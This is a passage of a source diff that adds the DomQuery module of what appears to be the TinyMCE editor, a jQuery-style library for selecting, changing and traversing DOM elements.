+				for (i = 0; i < sourceItem.length; i++) {
+					domManipulate(targetNodes, sourceItem[i], callback, reverse);
+				}
+			}
+
+			return targetNodes;
+		}
+
+		if (sourceItem.nodeType) {
+			i = targetNodes.length;
+			while (i--) {
+				callback.call(targetNodes[i], sourceItem);
+			}
+		}
+
+		return targetNodes;
+	}
+
+	function hasClass(node, className) {
+		return node && className && (' ' + node.className + ' ').indexOf(' ' + className + ' ') !== -1;
+	}
+
+	function wrap(elements, wrapper, all) {
+		var lastParent, newWrapper;
+
+		wrapper = DomQuery(wrapper)[0];
+
+		elements.each(function() {
+			var self = this;
+
+			if (!all || lastParent != self.parentNode) {
+				lastParent = self.parentNode;
+				newWrapper = wrapper.cloneNode(false);
+				self.parentNode.insertBefore(newWrapper, self);
+				newWrapper.appendChild(self);
+			} else {
+				newWrapper.appendChild(self);
+			}
+		});
+
+		return elements;
+	}
+
+	var numericCssMap = Tools.makeMap('fillOpacity fontWeight lineHeight opacity orphans widows zIndex zoom', ' ');
+	var booleanMap = Tools.makeMap('checked compact declare defer disabled ismap multiple nohref noshade nowrap readonly selected', ' ');
+	var propFix = {
+		'for': 'htmlFor',
+		'class': 'className',
+		'readonly': 'readOnly'
+	};
+	var cssFix = {
+		'float': 'cssFloat'
+	};
+
+	var attrHooks = {}, cssHooks = {};
+
+	function DomQuery(selector, context) {
+		/*eslint new-cap:0 */
+		return new DomQuery.fn.init(selector, context);
+	}
+
+	function inArray(item, array) {
+		var i;
+
+		if (array.indexOf) {
+			return array.indexOf(item);
+		}
+
+		i = array.length;
+		while (i--) {
+			if (array[i] === item) {
+				return i;
+			}
+		}
+
+		return -1;
+	}
+
+	var whiteSpaceRegExp = /^\s*|\s*$/g;
+
+	function trim(str) {
+		return (str === null || str === undef) ? '' : ("" + str).replace(whiteSpaceRegExp, '');
+	}
+
+	function each(obj, callback) {
+		var length, key, i, undef, value;
+
+		if (obj) {
+			length = obj.length;
+
+			if (length === undef) {
+				// Loop object items
+				for (key in obj) {
+					if (obj.hasOwnProperty(key)) {
+						value = obj[key];
+						if (callback.call(value, key, value) === false) {
+							break;
+						}
+					}
+				}
+			} else {
+				// Loop array items
+				for (i = 0; i < length; i++) {
+					value = obj[i];
+					if (callback.call(value, i, value) === false) {
+						break;
+					}
+				}
+			}
+		}
+
+		return obj;
+	}
+
+	function grep(array, callback) {
+		var out = [];
+
+		each(array, function(i, item) {
+			if (callback(item, i)) {
+				out.push(item);
+			}
+		});
+
+		return out;
+	}
+
+	function getElementDocument(element) {
+		if (!element) {
+			return doc;
+		}
+
+		if (element.nodeType == 9) {
+			return element;
+		}
+
+		return element.ownerDocument;
+	}
+
+	DomQuery.fn = DomQuery.prototype = {
+		constructor: DomQuery,
+
+		/**
+		 * Selector for the current set.
+		 *
+		 * @property selector
+		 * @type String
+		 */
+		selector: "",
+
+		/**
+		 * Context used to create the set.
+		 *
+		 * @property context
+		 * @type Element
+		 */
+		context: null,
+
+		/**
+		 * Number of items in the current set.
+		 *
+		 * @property length
+		 * @type Number
+		 */
+		length: 0,
+
+		/**
+		 * Constructs a new DomQuery instance with the specified selector or context.
+		 *
+		 * @constructor
+		 * @method init
+		 * @param {String/Array/DomQuery} selector Optional CSS selector/Array or array like object or HTML string.
+		 * @param {Document/Element} context Optional context to search in.
+		 */
+		init: function(selector, context) {
+			var self = this, match, node;
+
+			if (!selector) {
+				return self;
+			}
+
+			if (selector.nodeType) {
+				self.context = self[0] = selector;
+				self.length = 1;
+
+				return self;
+			}
+
+			if (context && context.nodeType) {
+				self.context = context;
+			} else {
+				if (context) {
+					return DomQuery(selector).attr(context);
+				} else {
+					self.context = context = document;
+				}
+			}
+
+			if (isString(selector)) {
+				self.selector = selector;
+
+				if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
+					match = [null, selector, null];
+				} else {
+					match = rquickExpr.exec(selector);
+				}
+
+				if (match) {
+					if (match[1]) {
+						node = createFragment(selector, getElementDocument(context)).firstChild;
+
+						while (node) {
+							push.call(self, node);
+							node = node.nextSibling;
+						}
+					} else {
+						node = getElementDocument(context).getElementById(match[2]);
+
+						if (!node) {
+							return self;
+						}
+
+						if (node.id !== match[2]) {
+							return self.find(selector);
+						}
+
+						self.length = 1;
+						self[0] = node;
+					}
+				} else {
+					return DomQuery(context).find(selector);
+				}
+			} else {
+				this.add(selector, false);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Converts the current set to an array.
+		 *
+		 * @method toArray
+		 * @param {Array} Array of all nodes in set.
+		 */
+		toArray: function() {
+			return Tools.toArray(this);
+		},
+
+		/**
+		 * Adds new nodes to the set.
+		 *
+		 * @method add
+		 * @param {Array/tinymce.dom.DomQuery} items Array of all nodes to add to set.
+		 * @return {tinymce.dom.DomQuery} New instance with nodes added.
+		 */
+		add: function(items, sort) {
+			var self = this, nodes, i;
+
+			if (isString(items)) {
+				return self.add(DomQuery(items));
+			}
+
+			if (sort !== false) {
+				nodes = DomQuery.unique(self.toArray().concat(DomQuery.makeArray(items)));
+				self.length = nodes.length;
+				for (i = 0; i < nodes.length; i++) {
+					self[i] = nodes[i];
+				}
+			} else {
+				push.apply(self, DomQuery.makeArray(items));
+			}
+
+			return self;
+		},
+
+		/**
+		 * Sets/gets attributes on the elements in the current set.
+		 *
+		 * @method attr
+		 * @param {String/Object} name Name of attribute to get or an object with attributes to set.
+		 * @param {String} value Optional value to set.
+		 * @return {tinymce.dom.DomQuery/String} Current set or the specified attribute when only the name is specified.
+		 */
+		attr: function(name, value) {
+			var self = this, hook;
+
+			if (typeof name === "object") {
+				each(name, function(name, value) {
+					self.attr(name, value);
+				});
+			} else if (isDefined(value)) {
+				this.each(function() {
+					var hook;
+
+					if (this.nodeType === 1) {
+						hook = attrHooks[name];
+						if (hook && hook.set) {
+							hook.set(this, value);
+							return;
+						}
+
+						if (value === null) {
+							this.removeAttribute(name, 2);
+						} else {
+							this.setAttribute(name, value, 2);
+						}
+					}
+				});
+			} else {
+				if (self[0] && self[0].nodeType === 1) {
+					hook = attrHooks[name];
+					if (hook && hook.get) {
+						return hook.get(self[0], name);
+					}
+
+					if (booleanMap[name]) {
+						return self.prop(name) ? name : undef;
+					}
+
+					value = self[0].getAttribute(name, 2);
+
+					if (value === null) {
+						value = undef;
+					}
+				}
+
+				return value;
+			}
+
+			return self;
+		},
+
+		/**
+		 * Removes attributse on the elements in the current set.
+		 *
+		 * @method removeAttr
+		 * @param {String/Object} name Name of attribute to remove.
+		 * @return {tinymce.dom.DomQuery/String} Current set.
+		 */
+		removeAttr: function(name) {
+			return this.attr(name, null);
+		},
+
+		/**
+		 * Sets/gets properties on the elements in the current set.
+		 *
+		 * @method attr
+		 * @param {String/Object} name Name of property to get or an object with properties to set.
+		 * @param {String} value Optional value to set.
+		 * @return {tinymce.dom.DomQuery/String} Current set or the specified property when only the name is specified.
+		 */
+		prop: function(name, value) {
+			var self = this;
+
+			name = propFix[name] || name;
+
+			if (typeof name === "object") {
+				each(name, function(name, value) {
+					self.prop(name, value);
+				});
+			} else if (isDefined(value)) {
+				this.each(function() {
+					if (this.nodeType == 1) {
+						this[name] = value;
+					}
+				});
+			} else {
+				if (self[0] && self[0].nodeType && name in self[0]) {
+					return self[0][name];
+				}
+
+				return value;
+			}
+
+			return self;
+		},
+
+		/**
+		 * Sets/gets styles on the elements in the current set.
+		 *
+		 * @method css
+		 * @param {String/Object} name Name of style to get or an object with styles to set.
+		 * @param {String} value Optional value to set.
+		 * @return {tinymce.dom.DomQuery/String} Current set or the specified style when only the name is specified.
+		 */
+		css: function(name, value) {
+			var self = this, elm, hook;
+
+			function camel(name) {
+				return name.replace(/-(\D)/g, function(a, b) {
+					return b.toUpperCase();
+				});
+			}
+
+			function dashed(name) {
+				return name.replace(/[A-Z]/g, function(a) {
+					return '-' + a;
+				});
+			}
+
+			if (typeof name === "object") {
+				each(name, function(name, value) {
+					self.css(name, value);
+				});
+			} else {
+				if (isDefined(value)) {
+					name = camel(name);
+
+					// Default px suffix on these
+					if (typeof(value) === 'number' && !numericCssMap[name]) {
+						value += 'px';
+					}
+
+					self.each(function() {
+						var style = this.style;
+
+						hook = cssHooks[name];
+						if (hook && hook.set) {
+							hook.set(this, value);
+							return;
+						}
+
+						try {
+							this.style[cssFix[name] || name] = value;
+						} catch (ex) {
+							// Ignore
+						}
+
+						if (value === null || value === '') {
+							if (style.removeProperty) {
+								style.removeProperty(dashed(name));
+							} else {
+								style.removeAttribute(name);
+							}
+						}
+					});
+				} else {
+					elm = self[0];
+
+					hook = cssHooks[name];
+					if (hook && hook.get) {
+						return hook.get(elm);
+					}
+
+					if (elm.ownerDocument.defaultView) {
+						try {
+							return elm.ownerDocument.defaultView.getComputedStyle(elm, null).getPropertyValue(dashed(name));
+						} catch (ex) {
+							return undef;
+						}
+					} else if (elm.currentStyle) {
+						return elm.currentStyle[camel(name)];
+					}
+				}
+			}
+
+			return self;
+		},
+
+		/**
+		 * Removes all nodes in set from the document.
+		 *
+		 * @method remove
+		 * @return {tinymce.dom.DomQuery} Current set with the removed nodes.
+		 */
+		remove: function() {
+			var self = this, node, i = this.length;
+
+			while (i--) {
+				node = self[i];
+				Event.clean(node);
+
+				if (node.parentNode) {
+					node.parentNode.removeChild(node);
+				}
+			}
+
+			return this;
+		},
+
+		/**
+		 * Empties all elements in set.
+		 *
+		 * @method empty
+		 * @return {tinymce.dom.DomQuery} Current set with the empty nodes.
+		 */
+		empty: function() {
+			var self = this, node, i = this.length;
+
+			while (i--) {
+				node = self[i];
+				while (node.firstChild) {
+					node.removeChild(node.firstChild);
+				}
+			}
+
+			return this;
+		},
+
+		/**
+		 * Sets or gets the HTML of the current set or first set node.
+		 *
+		 * @method html
+		 * @param {String} value Optional innerHTML value to set on each element.
+		 * @return {tinymce.dom.DomQuery/String} Current set or the innerHTML of the first element.
+		 */
+		html: function(value) {
+			var self = this, i;
+
+			if (isDefined(value)) {
+				i = self.length;
+
+				try {
+					while (i--) {
+						self[i].innerHTML = value;
+					}
+				} catch (ex) {
+					// Workaround for "Unknown runtime error" when DIV is added to P on IE
+					DomQuery(self[i]).empty().append(value);
+				}
+
+				return self;
+			}
+
+			return self[0] ? self[0].innerHTML : '';
+		},
+
+		/**
+		 * Sets or gets the text of the current set or first set node.
+		 *
+		 * @method text
+		 * @param {String} value Optional innerText value to set on each element.
+		 * @return {tinymce.dom.DomQuery/String} Current set or the innerText of the first element.
+		 */
+		text: function(value) {
+			var self = this, i;
+
+			if (isDefined(value)) {
+				i = self.length;
+				while (i--) {
+					if ("innerText" in self[i]) {
+						self[i].innerText = value;
+					} else {
+						self[0].textContent = value;
+					}
+				}
+
+				return self;
+			}
+
+			return self[0] ? (self[0].innerText || self[0].textContent) : '';
+		},
+
+		/**
+		 * Appends the specified node/html or node set to the current set nodes.
+		 *
+		 * @method append
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to append to each element in set.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		append: function() {
+			return domManipulate(this, arguments, function(node) {
+				if (this.nodeType === 1) {
+					this.appendChild(node);
+				}
+			});
+		},
+
+		/**
+		 * Prepends the specified node/html or node set to the current set nodes.
+		 *
+		 * @method prepend
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to prepend to each element in set.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		prepend: function() {
+			return domManipulate(this, arguments, function(node) {
+				if (this.nodeType === 1) {
+					this.insertBefore(node, this.firstChild);
+				}
+			}, true);
+		},
+
+		/**
+		 * Adds the specified elements before current set nodes.
+		 *
+		 * @method before
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to add before to each element in set.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		before: function() {
+			var self = this;
+
+			if (self[0] && self[0].parentNode) {
+				return domManipulate(self, arguments, function(node) {
+					this.parentNode.insertBefore(node, this);
+				});
+			}
+
+			return self;
+		},
+
+		/**
+		 * Adds the specified elements after current set nodes.
+		 *
+		 * @method after
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to add after to each element in set.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		after: function() {
+			var self = this;
+
+			if (self[0] && self[0].parentNode) {
+				return domManipulate(self, arguments, function(node) {
+					this.parentNode.insertBefore(node, this.nextSibling);
+				}, true);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Appends the specified set nodes to the specified selector/instance.
+		 *
+		 * @method appendTo
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} val Item to append the current set to.
+		 * @return {tinymce.dom.DomQuery} Current set with the appended nodes.
+		 */
+		appendTo: function(val) {
+			DomQuery(val).append(this);
+
+			return this;
+		},
+
+		/**
+		 * Prepends the specified set nodes to the specified selector/instance.
+		 *
+		 * @method prependTo
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} val Item to prepend the current set to.
+		 * @return {tinymce.dom.DomQuery} Current set with the prepended nodes.
+		 */
+		prependTo: function(val) {
+			DomQuery(val).prepend(this);
+
+			return this;
+		},
+
+		/**
+		 * Replaces the nodes in set with the specified content.
+		 *
+		 * @method replaceWith
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to replace nodes with.
+		 * @return {tinymce.dom.DomQuery} Set with replaced nodes.
+		 */
+		replaceWith: function(content) {
+			return this.before(content).remove();
+		},
+
+		/**
+		 * Wraps all elements in set with the specified wrapper.
+		 *
+		 * @method wrap
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to wrap nodes with.
+		 * @return {tinymce.dom.DomQuery} Set with wrapped nodes.
+		 */
+		wrap: function(wrapper) {
+			return wrap(this, wrapper);
+		},
+
+		/**
+		 * Wraps all nodes in set with the specified wrapper. If the nodes are siblings all of them
+		 * will be wrapped in the same wrapper.
+		 *
+		 * @method wrapAll
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to wrap nodes with.
+		 * @return {tinymce.dom.DomQuery} Set with wrapped nodes.
+		 */
+		wrapAll: function(wrapper) {
+			return wrap(this, wrapper, true);
+		},
+
+		/**
+		 * Wraps all elements inner contents in set with the specified wrapper.
+		 *
+		 * @method wrapInner
+		 * @param {String/Element/Array/tinymce.dom.DomQuery} content Content to wrap nodes with.
+		 * @return {tinymce.dom.DomQuery} Set with wrapped nodes.
+		 */
+		wrapInner: function(wrapper) {
+			this.each(function() {
+				DomQuery(this).contents().wrapAll(wrapper);
+			});
+
+			return this;
+		},
+
+		/**
+		 * Unwraps all elements by removing the parent element of each item in set.
+		 *
+		 * @method unwrap
+		 * @return {tinymce.dom.DomQuery} Set with unwrapped nodes.
+		 */
+		unwrap: function() {
+			return this.parent().each(function() {
+				DomQuery(this).replaceWith(this.childNodes);
+			});
+		},
+
+		/**
+		 * Clones all nodes in set.
+		 *
+		 * @method clone
+		 * @return {tinymce.dom.DomQuery} Set with cloned nodes.
+		 */
+		clone: function() {
+			var result = [];
+
+			this.each(function() {
+				result.push(this.cloneNode(true));
+			});
+
+			return DomQuery(result);
+		},
+
+		/**
+		 * Adds the specified class name to the current set elements.
+		 *
+		 * @method addClass
+		 * @param {String} className Class name to add.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		addClass: function(className) {
+			return this.toggleClass(className, true);
+		},
+
+		/**
+		 * Removes the specified class name to the current set elements.
+		 *
+		 * @method removeClass
+		 * @param {String} className Class name to remove.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		removeClass: function(className) {
+			return this.toggleClass(className, false);
+		},
+
+		/**
+		 * Toggles the specified class name on the current set elements.
+		 *
+		 * @method toggleClass
+		 * @param {String} className Class name to add/remove.
+		 * @param {Boolean} state Optional state to toggle on/off.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		toggleClass: function(className, state) {
+			var self = this;
+
+			// Functions are not supported
+			if (typeof className != 'string') {
+				return self;
+			}
+
+			if (className.indexOf(' ') !== -1) {
+				each(className.split(' '), function() {
+					self.toggleClass(this, state);
+				});
+			} else {
+				self.each(function(index, node) {
+					var existingClassName, classState;
+
+					classState = hasClass(node, className);
+					if (classState !== state) {
+						existingClassName = node.className;
+
+						if (classState) {
+							node.className = trim((" " + existingClassName + " ").replace(' ' + className + ' ', ' '));
+						} else {
+							node.className += existingClassName ? ' ' + className : className;
+						}
+					}
+				});
+			}
+
+			return self;
+		},
+
+		/**
+		 * Returns true/false if the first item in set has the specified class.
+		 *
+		 * @method hasClass
+		 * @param {String} className Class name to check for.
+		 * @return {Boolean} True/false if the set has the specified class.
+		 */
+		hasClass: function(className) {
+			return hasClass(this[0], className);
+		},
+
+		/**
+		 * Executes the callback function for each item DomQuery collection. If you return false in the
+		 * callback it will break the loop.
+		 *
+		 * @method each
+		 * @param {function} callback Callback function to execute for each item.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		each: function(callback) {
+			return each(this, callback);
+		},
+
+		/**
+		 * Binds an event with callback function to the elements in set.
+		 *
+		 * @method on
+		 * @param {String} name Name of the event to bind.
+		 * @param {function} callback Callback function to execute when the event occurs.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		on: function(name, callback) {
+			return this.each(function() {
+				Event.bind(this, name, callback);
+			});
+		},
+
+		/**
+		 * Unbinds an event with callback function to the elements in set.
+		 *
+		 * @method off
+		 * @param {String} name Optional name of the event to bind.
+		 * @param {function} callback Optional callback function to execute when the event occurs.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		off: function(name, callback) {
+			return this.each(function() {
+				Event.unbind(this, name, callback);
+			});
+		},
+
+		/**
+		 * Triggers the specified event by name or event object.
+		 *
+		 * @method trigger
+		 * @param {String/Object} name Name of the event to trigger or event object.
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		trigger: function(name) {
+			return this.each(function() {
+				if (typeof name == 'object') {
+					Event.fire(this, name.type, name);
+				} else {
+					Event.fire(this, name);
+				}
+			});
+		},
+
+		/**
+		 * Shows all elements in set.
+		 *
+		 * @method show
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		show: function() {
+			return this.css('display', '');
+		},
+
+		/**
+		 * Hides all elements in set.
+		 *
+		 * @method hide
+		 * @return {tinymce.dom.DomQuery} Current set.
+		 */
+		hide: function() {
+			return this.css('display', 'none');
+		},
+
+		/**
+		 * Slices the current set.
+		 *
+		 * @method slice
+		 * @param {Number} start Start index to slice at.
+		 * @param {Number} end Optional ened index to end slice at.
+		 * @return {tinymce.dom.DomQuery} Sliced set.
+		 */
+		slice: function() {
+			return new DomQuery(slice.apply(this, arguments));
+		},
+
+		/**
+		 * Makes the set equal to the specified index.
+		 *
+		 * @method eq
+		 * @param {Number} index Index to set it equal to.
+		 * @return {tinymce.dom.DomQuery} Single item set.
+		 */
+		eq: function(index) {
+			return index === -1 ? this.slice(index) : this.slice(index, +index + 1);
+		},
+
+		/**
+		 * Makes the set equal to first element in set.
+		 *
+		 * @method first
+		 * @return {tinymce.dom.DomQuery} Single item set.
+		 */
+		first: function() {
+			return this.eq(0);
+		},
+
+		/**
+		 * Makes the set equal to last element in set.
+		 *
+		 * @method last
+		 * @return {tinymce.dom.DomQuery} Single item set.
+		 */
+		last: function() {
+			return this.eq(-1);
+		},
+
+		/**
+		 * Finds elements by the specified selector for each element in set.
+		 *
+		 * @method find
+		 * @param {String} selector Selector to find elements by.
+		 * @return {tinymce.dom.DomQuery} Set with matches elements.
+		 */
+		find: function(selector) {
+			var i, l, ret = [];
+
+			for (i = 0, l = this.length; i < l; i++) {
+				DomQuery.find(selector, this[i], ret);
+			}
+
+			return DomQuery(ret);
+		},
+
+		/**
+		 * Filters the current set with the specified selector.
+		 *
+		 * @method filter
+		 * @param {String/function} selector Selector to filter elements by.
+		 * @return {tinymce.dom.DomQuery} Set with filtered elements.
+		 */
+		filter: function(selector) {
+			if (typeof selector == 'function') {
+				return DomQuery(grep(this.toArray(), function(item, i) {
+					return selector(i, item);
+				}));
+			}
+
+			return DomQuery(DomQuery.filter(selector, this.toArray()));
+		},
+
+		/**
+		 * Gets the current node or any partent matching the specified selector.
+		 *
+		 * @method closest
+		 * @param {String/Element/tinymce.dom.DomQuery} selector Selector or element to find.
+		 * @return {tinymce.dom.DomQuery} Set with closest elements.
+		 */
+		closest: function(selector) {
+			var result = [];
+
+			if (selector instanceof DomQuery) {
+				selector = selector[0];
+			}
+
+			this.each(function(i, node) {
+				while (node) {
+					if (typeof selector == 'string' && DomQuery(node).is(selector)) {
+						result.push(node);
+						break;
+					} else if (node == selector) {
+						result.push(node);
+						break;
+					}
+
+					node = node.parentNode;
+				}
+			});
+
+			return DomQuery(result);
+		},
+
+		/**
+		 * Returns the offset of the first element in set or sets the top/left css properties of all elements in set.
+		 *
+		 * @method offset
+		 * @param {Object} offset Optional offset object to set on each item.
+		 * @return {Object/tinymce.dom.DomQuery} Returns the first element offset or the current set if you specified an offset.
+		 */
+		offset: function(offset) {
+			var elm, doc, docElm;
+			var x = 0, y = 0, pos;
+
+			if (!offset) {
+				elm = this[0];
+
+				if (elm) {
+					doc = elm.ownerDocument;
+					docElm = doc.documentElement;
+
+					if (elm.getBoundingClientRect) {
+						pos = elm.getBoundingClientRect();
+						x = pos.left + (docElm.scrollLeft || doc.body.scrollLeft) - docElm.clientLeft;
+						y = pos.top + (docElm.scrollTop || doc.body.scrollTop) - docElm.clientTop;
+					}
+				}
+
+				return {
+					left: x,
+					top: y
+				};
+			}
+
+			return this.css(offset);
+		},
+
+		push: push,
+		sort: [].sort,
+		splice: [].splice
+	};
+
+	// Static members
+	Tools.extend(DomQuery, {
+		/**
+		 * Extends the specified object with one or more objects.
+		 *
+		 * @static
+		 * @method extend
+		 * @param {Object} target Target object to extend with new items.
+		 * @param {Object..} object Object to extend the target with.
+		 * @return {Object} Extended input object.
+		 */
+		extend: Tools.extend,
+
+		/**
+		 * Creates an array out of an array like object.
+		 *
+		 * @static
+		 * @method makeArray
+		 * @param {Object} object Object to convert to array.
+		 * @return {Arrau} Array produced from object.
+		 */
+		makeArray: function(array) {
+			if (isWindow(array) || array.nodeType) {
+				return [array];
+			}
+
+			return Tools.toArray(array);
+		},
+
+		/**
+		 * Returns the index of the specified item inside the array.
+		 *
+		 * @static
+		 * @method inArray
+		 * @param {Object} item Item to look for.
+		 * @param {Array} array Array to look for item in.
+		 * @return {Number} Index of the item or -1.
+		 */
+		inArray: inArray,
+
+		/**
+		 * Returns true/false if the specified object is an array or not.
+		 *
+		 * @static
+		 * @method isArray
+		 * @param {Object} array Object to check if it's an array or not.
+		 * @return {Boolean} True/false if the object is an array.
+		 */
+		isArray: Tools.isArray,
+
+		/**
+		 * Executes the callback function for each item in array/object. If you return false in the
+		 * callback it will break the loop.
+		 *
+		 * @static
+		 * @method each
+		 * @param {Object} obj Object to iterate.
+		 * @param {function} callback Callback function to execute for each item.
+		 */
+		each: each,
+
+		/**
+		 * Removes whitespace from the beginning and end of a string.
+		 *
+		 * @static
+		 * @method trim
+		 * @param {String} str String to remove whitespace from.
+		 * @return {String} New string with removed whitespace.
+		 */
+		trim: trim,
+
+		/**
+		 * Filters out items from the input array by calling the specified function for each item.
+		 * If the function returns false the item will be excluded if it returns true it will be included.
+		 *
+		 * @static
+		 * @method grep
+		 * @param {Array} array Array of items to loop though.
+		 * @param {function} callback Function to call for each item. Include/exclude depends on it's return value.
+		 * @return {Array} New array with values imported and filtered based in input.
+		 * @example
+		 * // Filter out some items, this will return an array with 4 and 5
+		 * var items = DomQuery.grep([1, 2, 3, 4, 5], function(v) {return v > 3;});
+		 */
+		grep: grep,
+
+		// Sizzle
+		find: Sizzle,
+		expr: Sizzle.selectors,
+		unique: Sizzle.uniqueSort,
+		text: Sizzle.getText,
+		contains: Sizzle.contains,
+		filter: function(expr, elems, not) {
+			var i = elems.length;
+
+			if (not) {
+				expr = ":not(" + expr + ")";
+			}
+
+			while (i--) {
+				if (elems[i].nodeType != 1) {
+					elems.splice(i, 1);
+				}
+			}
+
+			if (elems.length === 1) {
+				elems = DomQuery.find.matchesSelector(elems[0], expr) ? [elems[0]] : [];
+			} else {
+				elems = DomQuery.find.matches(expr, elems);
+			}
+
+			return elems;
+		}
+	});
+
+	function dir(el, prop, until) {
+		var matched = [], cur = el[prop];
+
+		if (typeof until != 'string' && until instanceof DomQuery) {
+			until = until[0];
+		}
+
+		while (cur && cur.nodeType !== 9) {
+			if (until !== undefined) {
+				if (cur === until) {
+					break;
+				}
+
+				if (typeof until == 'string' && DomQuery(cur).is(until)) {
+					break;
+				}
+			}
+
+			if (cur.nodeType === 1) {
+				matched.push(cur);
+			}
+
+			cur = cur[prop];
+		}
+
+		return matched;
+	}
+
+	function sibling(node, siblingName, nodeType, until) {
+		var result = [];
+
+		if (until instanceof DomQuery) {
+			until = until[0];
+		}
+
+		for (; node; node = node[siblingName]) {
+			if (nodeType && node.nodeType !== nodeType) {
+				continue;
+			}
+
+			if (until !== undefined) {
+				if (node === until) {
+					break;
+				}
+
+				if (typeof until == 'string' && DomQuery(node).is(until)) {
+					break;
+				}
+			}
+
+			result.push(node);
+		}
+
+		return result;
+	}
+
+	function firstSibling(node, siblingName, nodeType) {
+		for (node = node[siblingName]; node; node = node[siblingName]) {
+			if (node.nodeType == nodeType) {
+				return node;
+			}
+		}
+
+		return null;
+	}
+
+	each({
+		/**
+		 * Returns a new collection with the parent of each item in current collection matching the optional selector.
+		 *
+		 * @method parent
+		 * @param {String} selector Selector to match parents agains.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching parents.
+		 */
+		parent: function(node) {
+			var parent = node.parentNode;
+
+			return parent && parent.nodeType !== 11 ? parent : null;
+		},
+
+		/**
+		 * Returns a new collection with the all the parents of each item in current collection matching the optional selector.
+		 *
+		 * @method parents
+		 * @param {String} selector Selector to match parents agains.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching parents.
+		 */
+		parents: function(node) {
+			return dir(node, "parentNode");
+		},
+
+		/**
+		 * Returns a new collection with next sibling of each item in current collection matching the optional selector.
+		 *
+		 * @method next
+		 * @param {String} selector Selector to match the next element against.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching elements.
+		 */
+		next: function(node) {
+			return firstSibling(node, 'nextSibling', 1);
+		},
+
+		/**
+		 * Returns a new collection with previous sibling of each item in current collection matching the optional selector.
+		 *
+		 * @method prev
+		 * @param {String} selector Selector to match the previous element against.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching elements.
+		 */
+		prev: function(node) {
+			return firstSibling(node, 'previousSibling', 1);
+		},
+
+		/**
+		 * Returns all child elements matching the optional selector.
+		 *
+		 * @method children
+		 * @param {String} selector Selector to match the elements against.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching elements.
+		 */
+		children: function(node) {
+			return sibling(node.firstChild, 'nextSibling', 1);
+		},
+
+		/**
+		 * Returns all child nodes matching the optional selector.
+		 *
+		 * @method contents
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching elements.
+		 */
+		contents: function(node) {
+			return Tools.toArray((node.nodeName === "iframe" ? node.contentDocument || node.contentWindow.document : node).childNodes);
+		}
+	}, function(name, fn) {
+		DomQuery.fn[name] = function(selector) {
+			var self = this, result = [];
+
+			self.each(function() {
+				var nodes = fn.call(result, this, selector, result);
+
+				if (nodes) {
+					if (DomQuery.isArray(nodes)) {
+						result.push.apply(result, nodes);
+					} else {
+						result.push(nodes);
+					}
+				}
+			});
+
+			// If traversing on multiple elements we might get the same elements twice
+			if (this.length > 1) {
+				result = DomQuery.unique(result);
+
+				if (name.indexOf('parents') === 0) {
+					result = result.reverse();
+				}
+			}
+
+			result = DomQuery(result);
+
+			if (selector) {
+				return result.filter(selector);
+			}
+
+			return result;
+		};
+	});
+
+	each({
+		/**
+		 * Returns a new collection with the all the parents until the matching selector/element
+		 * of each item in current collection matching the optional selector.
+		 *
+		 * @method parentsUntil
+		 * @param {String/Element/tinymce.dom.DomQuery} until Until the matching selector or element.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching parents.
+		 */
+		parentsUntil: function(node, until) {
+			return dir(node, "parentNode", until);
+		},
+
+		/**
+		 * Returns a new collection with all next siblings of each item in current collection matching the optional selector.
+		 *
+		 * @method nextUntil
+		 * @param {String/Element/tinymce.dom.DomQuery} until Until the matching selector or element.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching elements.
+		 */
+		nextUntil: function(node, until) {
+			return sibling(node, 'nextSibling', 1, until).slice(1);
+		},
+
+		/**
+		 * Returns a new collection with all previous siblings of each item in current collection matching the optional selector.
+		 *
+		 * @method prevUntil
+		 * @param {String/Element/tinymce.dom.DomQuery} until Until the matching selector or element.
+		 * @return {tinymce.dom.DomQuery} New DomQuery instance with all matching elements.
+		 */
+		prevUntil: function(node, until) {
+			return sibling(node, 'previousSibling', 1, until).slice(1);
+		}
+	}, function(name, fn) {
+		DomQuery.fn[name] = function(selector, filter) {
+			var self = this, result = [];
+
+			self.each(function() {
+				var nodes = fn.call(result, this, selector, result);
+
+				if (nodes) {
+					if (DomQuery.isArray(nodes)) {
+						result.push.apply(result, nodes);
+					} else {
+						result.push(nodes);
+					}
+				}
+			});
+
+			// If traversing on multiple elements we might get the same elements twice
+			if (this.length > 1) {
+				result = DomQuery.unique(result);
+
+				if (name.indexOf('parents') === 0 || name === 'prevUntil') {
+					result = result.reverse();
+				}
+			}
+
+			result = DomQuery(result);
+
+			if (filter) {
+				return result.filter(filter);
+			}
+
+			return result;
+		};
+	});
+
+	/**
+	 * Returns true/false if the current set items matches the selector.
+	 *
+	 * @method is
+	 * @param {String} selector Selector to match the elements against.
+	 * @return {Boolean} True/false if the current set matches the selector.
+	 */
